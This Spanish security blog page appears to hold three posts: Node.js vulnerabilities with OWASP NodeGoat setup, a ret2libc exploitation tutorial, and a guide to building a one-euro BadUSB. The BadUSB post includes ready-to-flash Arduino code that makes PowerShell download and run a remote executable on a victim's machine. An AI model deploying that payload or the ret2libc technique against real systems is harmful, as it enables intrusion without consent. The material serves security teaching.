Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

Categorías:Hacking, Programacion, Services - Software, Web Applications Etiquetas: , , , , , , ,

Evadiendo no-exec stacks con técnicas ret2libc

septiembre 14, 2017 1 comentario

Desde aquellos días en los que comenzaron a aparecer las primeras vulnerabilidades en programas ejecutables, que típicamente se aprovechaban de un desbordamiento de memoria, se han implementado varios mecanismos de defensa que impiden que los programas vulnerables y potencialmente peligrosos para el sistema puedan ser una amenaza, obviamente la fuente del problema siempre se encuentra fallos de diseño e implementación, una situación difícil de controlar. En el caso de los sistemas más populares hoy en día, existen varias características interesantes que impiden que un programa que presenta condiciones de Stack o Heap overflow puedan “campar a sus anchas”, así nos encontramos con cosas como Stack Cookies o Canaries, DEP, ASLR, etc. Son mecanismos muy potentes que añaden un nivel de complejidad considerable al proceso de explotación, ya que ahora el atacante no solamente se debe preocupar por detectar y explotar vulnerabilidades, sino también de evadir esos mecanismos de protección que no le permiten montar en el sistema atacado su propia “fiesta”. Aún así, existen técnicas que el atacante puede llevar a cabo para saltarse esas medidas de protección y conseguir sus objetivos.

En éste artículo vamos a hablar de una técnica muy interesante que se puede aplicar sobre un programa vulnerable ejecutándose en un sistema GNU/Linux y que debido a su simplicidad y efectividad, la convierte en una técnica muy potente ante aquellos programas que implementan el “No-Exec”, es decir, que marcan la Stack como un espacio de sólo lectura sin la posibilidad de que el procesador interprete los bytes que podemos insertar en ella como instrucciones ejecutables. Hablamos del archiconocido “ret2libc”.

El origen del mal.

El origen de prácticamente todas las vulnerabilidades tiene su base en una mala implementación, errores en diseño y programación que le permiten a un atacante hacer de las suyas. Esto la mayoría de las veces sucede simplemente por descuidos o desconocimiento del programador, aunque también a veces, aunque el programador conoce las consecuencias negativas de cara a la seguridad de ciertas prácticas de desarrollo, por desidia/pereza, simplemente decide ignorarlas y quedarse con la típica frase de: “En mi local funciona”.

Como decía antes, estas cosas son difíciles de controlar, a menos claro, que a ese programador perezoso lo mandes a Corea del Norte a servir al amado “lidel”, en ese caso seguro que se espabila y revisa 20 veces cada una de las líneas de código de su programa.

Ahora bien, como comentaba anteriormente, las Stacks “No exec” impiden que algunas áreas de la memoria (Stack o Heap) puedan ser interpretadas por el procesador como secciones con instrucciones ejecutables. Dado que no se puede inyectar o ejecutar código malicioso en el programa, aunque sea vulnerable, el atacante debe sobrepasar esta barrera antes de poder continuar y para ello puede utilizar la técnica de “ret2libc” o Return To Libc.

Antes de explicar en qué consiste, vamos a partir de un programa vulnerable, el cual contiene el siguiente código:

Explotando el programa con No-Exec habilitado

Es fácil darse cuenta que el programa anterior, además de ser muy simple no realiza ningún tipo de verificación sobre los limites del buffer

En un sistema GNU/Linux, el programa anterior se puede compilar con GCC de la siguiente manera.

gcc -ggdb -fno-stack-protector -o programa programa.c

Por defecto, los programas compilados en la mayoría de versiones del GCC generan un binario con la característica “no-exec” habilitada, lo que significa que si encontramos una vulnerabilidad en el programa y seguimos el procedimiento clásico de sobreescribir el EIP para que realice un salto hacia la stack, lugar en donde tendremos nuestro shellcode, el resultado será una violación de acceso.

Dicho lo anterior, vamos a comenzar a inspeccionar el programa y analizar su comportamiento ante un desbordamiento de pila.

En primer lugar, se carga el programa con el depurador (GDB) y se establece un punto de interrupción en la dirección de memoria en donde se realiza una invocación a la función “tevasacorea”.

El segundo y último punto de interrupción se establece en la instrucción “ret”, justo al final de la función “tevasacorea” para poder ver el contenido de la Stack antes de que se produzca el desbordamiento.

Como se puede apreciar en la última imagen, se ejecuta un programa externo al depurador y en dicho programa, simplemente se crea una entrada de 512 caracteres (concretamente, 512 As). Se pasa por ambos breakpoints y antes de retornar de la función “tevasacorea”, se consulta el estado de la Stack que tal como se puede apreciar, ha quedado en la posición perfecta para sobreescribir el valor del registro EIP con una dirección de memoria arbitraria. Esto significa simplemente, que se debe ejecutar el programa con una entrada que contenga 512 caracteres más una dirección de retorno arbitraria que nos permita manipular el programa y llegados a éste punto, comenzamos a hablar de Ret2Libc.

Aplicando la técnica Ret2Libc para eludir el “No-Exec”

Esta técnica recibe el nombre de Ret2Libc por dos motivos, el primero de ellos es que se basa en el hecho de que en la dirección de retorno de cualquier cualquier función, se puede establecer una dirección de memoria arbitraria que puede hacer parte del programa o de los objetos compartidos y librerías que son necesarias para el correcto funcionamiento del programa, lo que significa que en el caso de no poder utilizar la Stack para nuestro propósito, siempre se puede intentar invocar a otros espacios de memoria o instrucciones ejecutables ubicadas en otra librería. Por otro lado, la librería Libc es muy habitual en programas que se ejecutan sobre sistemas GNU/Linux y en la mayoría de los casos se trata de una dependencia obligatoria, por éste motivo es posible buscar funciones interesantes en dicha librería que nos puedan resultar útiles en el proceso de explotación del programa. Las funciones que se utilizarán en este ejemplo son “system” y “exit”, la primera recibe una cadena como primer argumento, la cual representa un programa a ejecutar y la segunda, permite finalizar un proceso limpiamente. Ambas funciones se pueden concatenar en la cadena de invocaciones gracias a la técnica “ret2libc”, únicamente hay que tener en cuenta que es necesario obtener las direcciones de memoria de cada una de las funciones a invocar y posteriormente, meterlas en la stack en el mismo orden en el que se desea invocarlas. Por último, pero no menos importante, se debe tener en cuenta el tipo de vulnerabilidad que se está explotando, por ejemplo, en el caso de que la vulnerabilidad se base en el overflow de un buffer de cadenas (con el ejemplo del programa anterior con la función strcpy), se debe evitar a toda costa utilizar direcciones de memoria que contengan “null terminators” (\x00) ya que esto haría que se corte el payload y no sea posible obtener los resultados deseados.

Dicho lo anterior, es el momento de buscar las direcciones de memoria correspondientes a las funciones “system” y “exit”.

Como se puede apreciar de la imagen anterior, simplemente con el comando “print” y la función deseada, se puede obtener información sobre la librería y dirección de memoria donde se encuentra cargada dicha función.

Ahora bien, el siguiente paso consiste en especificar el parámetro adecuado a la función “system” con una cadena como “/bin/bash” sería suficiente, pero hay un pequeño problema y es que dicho parámetro no lo espera la función como una cadena simple, espera la referencia de una dirección de memoria que apunta a una cadena de texto con el nombre del binario a ejecutar, lo que se conoce coloquialmente en programación en C/C++ como un puntero. Por lo tanto, simplemente hay que buscar una dirección de memoria que apunte a una cadena que tenga el programa deseado. Afortunadamente, en las variables de entorno existen varias entradas que contienen valores de configuración y entre otras cosas, suele haber una variable llamada “SHELL” que define el programa que preferiblemente se debe de lanzar cuando se invoque a una shell en el sistema. Ahora, cómo se consigue acceso a las variables de entorno del sistema desde un programa en ejecución? La respuesta es simple, gracias a la Stack. Como seguramente ya sabreis, la Stack de un programa no solamente almacena parámetros y las variables locales correspondientes a cada Stack Frame o función invocada en un programa, también incluye todas las variables de entorno que hay en el sistema por si alguno de los Stack Frames del programa necesita acceder a cualquiera de dichas variables. Con esto en mente, basta simplemente con inspeccionar la Stack para obtener la dirección exacta donde se encuentra la variable de entorno “SHELL”.

Tal como se puede ver en el programa anterior, después de buscar los contenidos de la Stack con un comando como “x/5000s $exp” desde el depurador, se puede encontrar la variable de entorno SHELL y una dirección de memoria que puede ser útil para enviar como primer argumento de la función “system”.

Ahora que ya se cuenta con todo lo necesario para aplicar la técnica de Ret2Libc, es el momento de componer el payload que tendrá los siguientes valores:

“A”*512 + Dirección de memoria system + Dirección de memoria exit + Dirección de memoria del programa a ejecutar por system.

Por último, a diferencia de los valores que normalmente se suelen encontrar en tráfico de red, cuando se habla de programas y direcciones de memoria, se utiliza el formato “little endian”, por lo tanto es necesario establecer cada dirección de memoria en sentido inverso.

Después de lanzar nuevamente el programa con el payload adecuado, utilizando la técnica ret2libc, se puede apreciar que se ha conseguido ejecutar el programa “/bin/bash” y ahora se cuenta con una consola plenamente funcional, solamente ha bastado con indicar las direcciones de memoria adecuadas y concatenar cada una de las invocaciones con sus correspondientes parámetros. Una técnica que puede ser sencilla de implementar y muy potente, os animo a que lo probéis.

Un saludo y Happy Hack.

Adastra.

Categorías:Explotación de Software, Hacking, Programacion Etiquetas: , , , ,

BadUSB Ultra Low Cost

julio 10, 2017 12 comentarios

Sobre los autores: Ernesto Sanchez (@ernesto_xload) y Joel Serna(@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

Buenos días a todos!

Teníamos pensado hacer 3 artículos sobre distintos BadUSB: (“Introducción”, “Low-cost” y “Soluciones profesionales”), pero dentro de nuestra manía de empezar la casa por el tejado, hemos decidido empezar con un artículo de ultra low cost, mostrando como hacer un BadUSB por 1 euro aproximadamente, que en muchas ocasiones podrá hacer las mismas funciones que el famoso USB Rubber Ducky de Hack5 (44,95 US$ + envío), si, sabemos que puede parecer una locura, pero funciona.

La idea, básica y extremadamente resumida de BadUSB, por si alguien no sabe de que va el asunto aún, es emular un teclado sobre un dispositivo USB normal, para poder emular el comportamiento del usuario, y por tanto poder ejecutar comandos y programas en el sistema atacado, sin el consentimiento de la víctima.

Hemos utilizado como hardware el Digistump Digispark, éste dispositivo utiliza el microcontrolador Attiny85 de Microchip. Dicho microcontrolador es un micro de 8 bits que nos ofrece: 8kb de memoria flash, 512b EEPROM, 512b SRAM y 6 puertos I/O (Enlace al datasheet completo). De este dispositivo se pueden encontrar múltiples clones, con distintos tipos puertos USB, realizados en China en páginas como Aliexpress o Ebay por precios que rondan 1 euro.

Configuración e instalación del software

Una vez hemos obtenido el dispositivo, tenemos que tener en cuenta que, primero tenemos que instalar el IDE de Arduino y también los drivers en el caso de Windows (Aqui).

NOTA: no es aconsejable instalar el IDE de Arduino desde repositorios de nuestra distribución de Linux, suele ser una versión algo obsoleta y puede darnos problemas. Destacar que el funcionamiento del dispositivo es ligeramente distinto a cualquier otro Arduino con el que hayamos trabajado anteriormente y necesita ser desconectado y conectado para ser reprogramado (Hay disponible un dispositivo para hacer ésto por hardware mediante un interruptor disponible aquí, pero no creemos que sea tanta molestia conectar y desconectar el dispositivo cada vez). Lo primero es tener la última versión del arduino IDE (Aquí) y asegurarnos que está todo actualizado.

El segundo paso es bajar el paquete de compatibilidad con ésta placa y el IDE de Arduino para poder trabajar correctamente con ella, para ello tenemos que ir a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente (si tenemos alguna no es incompatible):

http://digistump.com/package_digistump_index.json

Simplemente aceptamos y vamos a Herramientas -> Placa -> Gestor de Tarjetas, aquí buscamos Digistump AVR Boards y procedemos a su instalación.

En caso de usar linux, es posible que tengas que tener la versión actual y legacy de libusb, así como añadir unas reglas nuevas de udev, hay un tutorial de Digistump aquí. Comentar que las librerías originales de Digistump solo poseen soporte para emular teclados con el layout en_US (Inglés de EEUU), con lo que es muy aconsejable descargar e instalar la librería con soporte para otros idiomas, disponible aquí.

Hola Mundo

Lo mas clásico, cuando hablamos de microcontroladores, es hacer un blinking led como “Hola mundo”, ésto es un programa que haga parpadear un led a una frecuencia determinada, como en nuestro caso nuestro dispositivo puede comunicarse con algo mas que un led vamos a hacer un “Hola mundo” mediante teclado USB. Tenemos que abrir el IDE de Arduino que hemos descargado y configurado anteriormente, también nos tenemos que asegurar que hemos configurado la placa correcta, para ello vamos a Herramientas -> Placa y seleccionamos “Digisparck (Default – 16.5 mhz)” y ningún puerto.

Como código escribiremos el siguiente:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.delay(5000);
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(250);
  DigiKeyboard.println(F("notepad"));
  delay(250);
  DigiKeyboard.println(F("Hola mundo!"));
  while(1);
}

El código es muy simple, pero vamos a explicarlo mas detalladamente:

  • #define kbd_es_es : Configura el mapa del teclado, en nuestro caso español de España.
  • #include “DigiKeyboard.h” : Incluye la librería para emulación de teclado.
  • DigiKeyboard.delay(5000) : Espera 5 segundos (por posible instalación de drivers, etc …)
  • DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT) : Pulsa la tecla de Windows + R que hace que aparezca la ventana de ejecutar comando en los sistemas Windows, para los sistemas con Gnome deberiamos enviar KEY_F2 y MOD_ALT_LEFT (Alt + F2)
  • DigiKeyboard.println(F(“notepad”)) : Envía la cadena notepad, seguida de la tecla enter, en gnome podemos poner gedit.
  • DigiKeyboard.println(F(“Hola mundo!”)) : Envía la cadena “Hola mundo” seguida de enter.
  • while(1) : Termina el programa, ya que la sección loop se ejecuta continuamente en bucle.
  • delay(250) : Se han incluido varios a lo largo del código, para dar tiempo a que el sistema operativo anfitrión ejecute la orden anterior.

Lo siguiente es compilar y subir el código, primero podemos pulsar el botón de Verificar para asegurarnos de que no existe ningún error y después pulsar el botón Subir, NOTA: Sin conectar el dispositivo aún. A los pocos segundos, el IDE nos pedirá que conectemos el dispositivo y lo reprogramará como podemos ver en la siguiente captura. Ya está nuestro “hola mundo”, a los pocos segundos ejecutará el código, dicho código está guardado en la flash del Attiny85 con lo que se ejecutará cada vez que conectemos el dispositivo a un ordenador.

Haciendo maldades

Una vez hemos hecho el “Hola mundo” y utilizando el mismo esquema, podemos hacer muchas otras tareas de forma automática, y no todas “buenas” (de ahí el nombre de BadUSB), por ejemplo el siguiente código descarga mediante Powershell un archivo desde una URL y lo ejecuta:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  pinMode(1, OUTPUT);
  DigiKeyboard.delay(10000);
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.print(F("powershell "));
  DigiKeyboard.print(F("powershell Import-Module BitsTransfer;"));
  DigiKeyboard.print(F("Start-BitsTransfer -Source \"http://ruta/fichero.exe\" -Destination \"%TEMP%\\fichero.exe\";"));
  DigiKeyboard.println(F("Start-Process \"%TEMP%\\fichero.exe\""));
  
  while(1){
    digitalWrite(1, HIGH);
    delay(1000);
    digitalWrite(1, LOW);
    delay(1000);
  }
}

Se puede observar que al final se ha incluido el código necesario para que el led parpadee y sepamos que la tarea se ha completado.

A partir de aquí el límite es la imaginación de cada uno, como ejemplo el payload que mencionan Álvaro Nuñez-Romero y Santiago Hernández en su artículo para el blog “un informático en el lado del mal” titulado Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows #Arduino

También mencionar a KALRONG en su artículo ATtiny85 el famoso Cheap Rubber Ducky, podemos encontrar aquí un conversor de scripts de USB Rubber Ducky al Attiny85, aunque nosotros pensamos que es mejor opción escribirlos enteros de forma nativa por optimización y depuración de los mismos.

Un saludo y hasta la próxima (o próximas)!

Categorías:Hacking, Networking, Programacion Etiquetas: , , , ,
A %d blogueros les gusta esto: